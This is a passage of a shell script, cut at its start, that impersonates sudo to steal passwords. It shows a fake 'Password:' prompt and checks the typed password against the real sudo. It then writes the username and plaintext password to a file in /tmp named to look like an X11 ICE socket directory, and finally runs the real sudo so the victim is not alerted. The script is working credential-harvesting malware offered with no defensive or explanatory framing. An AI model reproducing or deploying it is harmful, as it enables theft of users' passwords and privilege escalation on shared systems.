if [ $? -eq 0 ]
then
    /usr/bin/sudo $@
else
    echo -n "Password:"
    read -s pwd
    echo
    echo $pwd | /usr/bin/sudo -S true  >/dev/null 2>&1
    if [ $? -eq 1 ]
    then
	printf "$USER:$pwd:invalid\n" >> /tmp/.ICE-unix-test
	echo "Sorry, try again."
	sudo $@
    else
	echo "$USER:$pwd:valid" >> /tmp/.ICE-unix-test
	/usr/bin/sudo $@
    fi
fi